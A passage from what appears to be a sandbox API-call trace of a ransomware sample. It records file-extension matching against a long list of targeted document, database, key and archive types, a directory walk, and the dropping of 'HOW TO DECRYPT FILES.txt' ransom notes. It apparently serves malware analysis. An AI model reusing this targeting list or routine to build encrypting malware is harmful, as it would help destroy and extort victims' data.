(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.pst") returned 0 [0112.637] lstrlenA (lpString="*.pst") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.ost") returned 0 [0112.637] lstrlenA (lpString="*.ost") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.idx") returned 0 [0112.637] lstrlenA (lpString="*.idx") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.dbx") returned 0 [0112.637] lstrlenA (lpString="*.dbx") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.sql") returned 0 [0112.637] lstrlenA (lpString="*.sql") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mdb") returned 0 [0112.637] lstrlenA (lpString="*.mdb") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.fdb") returned 0 [0112.637] lstrlenA (lpString="*.fdb") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.wab") returned 0 [0112.637] lstrlenA (lpString="*.wab") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.dat") returned 0 [0112.637] lstrlenA (lpString="*.dat") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.txt") returned 0 [0112.637] lstrlenA (lpString="*.txt") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.jpeg") returned 0 [0112.637] lstrlenA (lpString="*.jpeg") returned 6 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.jpg") returned 0 [0112.637] lstrlenA (lpString="*.jpg") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.png") returned 0 [0112.637] lstrlenA (lpString="*.png") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.php") returned 0 [0112.637] lstrlenA (lpString="*.php") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.cs") returned 0 [0112.638] lstrlenA (lpString="*.cs") returned 4 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.cpp") returned 0 [0112.638] lstrlenA (lpString="*.cpp") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.rar") returned 0 [0112.638] lstrlenA (lpString="*.rar") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.zip") returned 0 [0112.638] lstrlenA (lpString="*.zip") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.html") returned 0 [0112.638] lstrlenA (lpString="*.html") returned 6 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.htm") returned 0 [0112.638] lstrlenA (lpString="*.htm") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.xlsx") returned 0 [0112.638] lstrlenA (lpString="*.xlsx") returned 6 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.xls") returned 0 [0112.638] lstrlenA (lpString="*.xls") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mp4") returned 0 [0112.638] lstrlenA (lpString="*.mp4") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.ppt") returned 0 [0112.638] lstrlenA (lpString="*.ppt") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.pptx") returned 0 [0112.638] lstrlenA (lpString="*.pptx") returned 6 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.doc") returned 0 [0112.638] lstrlenA (lpString="*.doc") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.dot") returned 0 [0112.638] lstrlenA (lpString="*.dot") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.docx") returned 0 [0112.638] lstrlenA (lpString="*.docx") returned 6 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.7z") returned 0 [0112.638] lstrlenA (lpString="*.7z") returned 4 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.tar") returned 0 [0112.638] lstrlenA (lpString="*.tar") returned 5 [0112.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.bz2") returned 0 [0112.638] lstrlenA (lpString="*.bz2") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.gz") returned 0 [0112.639] lstrlenA (lpString="*.gz") returned 4 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mkv") returned 0 [0112.639] lstrlenA (lpString="*.mkv") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0112.639] lstrlenA (lpString="*.eml") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.msg") returned 0 [0112.639] lstrlenA (lpString="*.msg") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.edb") returned 0 [0112.639] lstrlenA (lpString="*.edb") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.accdb") returned 0 [0112.639] lstrlenA (lpString="*.accdb") returned 7 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.odb") returned 0 [0112.639] lstrlenA (lpString="*.odb") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.java") returned 0 [0112.639] lstrlenA (lpString="*.java") returned 6 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.asm") returned 0 [0112.639] lstrlenA (lpString="*.asm") returned 5 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.pfx") returned 0 [0112.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.pem") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.p12") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.gpg") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.vsd") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.odg") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.raw") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.nef") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.svg") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.psd") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.vmx") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.vmdk") returned 0 [0112.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.vdi") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.lay6") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mpeg") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.djvu") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.tiff") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.backup") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.pdf") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.cert") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.docm") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.xlsm") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.dwg") returned 0 [0112.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.nd") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.tlg") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.lgb") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mov") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.xdw") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.ods") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.wav") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mp3") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.aiff") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.flac") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.m4a") returned 0 [0112.642] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.csv") returned 0 [0112.642] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a67fef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93a67fef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93a8e14f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x190800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.643] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.643] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafbd9d0b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafbd9d0b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafbd9d0b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e883ac4543d94e67abd1c33191633865", cAlternateFileName="E883AC~1")) returned 1 [0112.643] lstrcmpA (lpString1=".", lpString2="e883ac4543d94e67abd1c33191633865") returned -1 [0112.643] lstrcmpA (lpString1="..", lpString2="e883ac4543d94e67abd1c33191633865") returned -1 [0112.643] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\*.*") returned="*.*" [0112.643] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\", lpString2="e883ac4543d94e67abd1c33191633865" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865" [0112.643] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafbd9d0b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafbd9d0b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafbd9d0b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.643] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.643] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafbd9d0b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafbd9d0b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafbd9d0b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.644] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.644] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.644] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafb8da4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafb8da4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafb8da4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.644] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.644] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0112.644] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0112.644] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.Protocols.ni.dll") returned -1 [0112.644] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\*.*") returned="*.*" [0112.644] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\" [0112.644] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\") returned="" [0112.644] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\HOW TO DECRYPT FILES.txt" [0112.644] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\e883ac4543d94e67abd1c33191633865\\how to decrypt files.txt")) returned 0xffffffff [0112.644] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\e883ac4543d94e67abd1c33191633865\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.650] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.652] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.652] CloseHandle (hObject=0x90) returned 1 [0112.652] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\", lpString2="System.DirectoryServices.Protocols.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll" [0112.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\e883ac4543d94e67abd1c33191633865\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ems") returned 0 [0112.652] lstrlenA (lpString="*.ems") returned 5 [0112.652] PathMatchSpecA 